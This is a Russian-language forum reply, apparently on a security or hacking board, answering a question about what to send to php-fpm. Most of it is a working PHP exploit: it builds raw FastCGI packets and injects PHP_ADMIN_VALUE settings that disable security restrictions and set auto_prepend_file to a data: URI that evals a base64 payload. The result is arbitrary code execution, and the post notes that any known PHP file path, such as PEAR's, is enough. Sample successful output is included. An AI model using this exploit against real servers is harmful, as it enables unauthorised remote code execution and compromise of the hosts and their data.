Показать сообщение отдельно
Старый 08.03.2017, 17:53   #6
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Код:
Может кто-то подскажет по моему случаю, что нужно положить в $_packet?
Для общения с php-fpm, я пользуюсь такой штукой:
PHP код:
<?php
function sendRequest($host$port 0$packet "") {
    
$body '';
    
$headers '';
    
$errno '';
    
$errstr '';
    
$timeout 1;
    if(
$port 0)
        
$host "tcp://${host}:${port}/";
    else
        
$host "unix://${host}";

    
$connection stream_socket_client($host$errno$errstr$timeout);
    if (
$connection) {
        
stream_set_timeout($connection1);
        
fputs($connection$packet);
        while(!
feof($connection)) {
            
$line fgets($connection4096);
            if(
$line == "\r\n")
                break;

            
$headers .= $line;
        }

        while(!
feof($connection))
            
$body .= fgets($connection4096);

        
fclose($connection);
        if (
strpos($headers'Primary script unknown') !== false || strpos($headers'Status: 404 Not Found') !== false) {
            echo 
"Test failed:(\n";
            echo 
$headers;
        } else {
            echo 
"Successful\n";
            
var_dump($headers);
            
var_dump($body);
        }
    } else {
        echo 
"no connection:`(";
    }
}

function 
initializeParams($id$params = array()){
    
$type 4;
    
$data "";

    foreach (
$params as $key => $value) {
        
$data .= pack("CN",strlen($key),(1<<31) | strlen($value));
        
$data .= $key;
        
$data .= $value;
    }

    return 
to_s(
        
$id,
        
$type,
        
$data
    
);
}

function 
to_s($id$type$data ""){
    
$packet sprintf("\x01%c%c%c%c%c%c\x00",
        
$type,
        
$id 256$id 256,
        
strlen($data) / 256strlen($data) % 256,
        
strlen($data) % 8
    
);
    
    
$packet .= $data;
    
$packet .= str_repeat("\x00",(strlen($data) % 8));
    return 
$packet;
}

function 
buildPacket($payload "echo 'OK';"$scriptFile "/usr/share/php/PEAR.php") {
    
$payload base64_encode($payload);
    
$packet "";
    
$packet .= to_s(1,1,"\x00\x01\x00\x00\x00\x00\x00\x00");
    
$packet .= initializeParams(1,
        array(
            
"REQUEST_METHOD" => "GET",
            
"SERVER_PROTOCOL" => "HTTP/1.1",
            
"GATEWAY_INTERFACE" => "CGI/1.1",
            
"SERVER_NAME" => "localhost",
            
"HTTP_HOST" => "localhost",
            
"REMOTE_ADDR" => "127.0.0.1",
            
"SCRIPT_FILENAME" => $scriptFile,
            
"PHP_ADMIN_VALUE" => join("\n", [
                
"allow_url_fopen=On",
                
"allow_url_include=On",
                
"disable_functions=Off",
                
"open_basedir=Off",
                
"short_open_tag=On",
                
"auto_prepend_file=data:,".urlencode("<?=eval(base64_decode('${payload}'));?>")
            ])
        )
    );
    
$packet .= to_s(1,4);
    
$packet .= to_s(1,5);

    return 
$packet;
}

$packet buildPacket('echo "OK!";');
sendRequest('localhost'9000$packet);
В действии:
Код:
$ php -f test.php
Successful
string(73) "FX-Powered-By: PHP/7.1.2
Content-type: text/html; charset=UTF-8
"
string(21) "OK!"
Соответственно нужный тебе код в в функции buildPacket. Единственное условие - для выполнения произвольного кода, тебе нужно знать путь к одному ЛЮБОМУ php-файлу. Это может быть PEAR или Composer или что-угодно еще (e.g. ты нашел раскрытие пути в проекте).
dharrya вне форума   Ответить с цитированием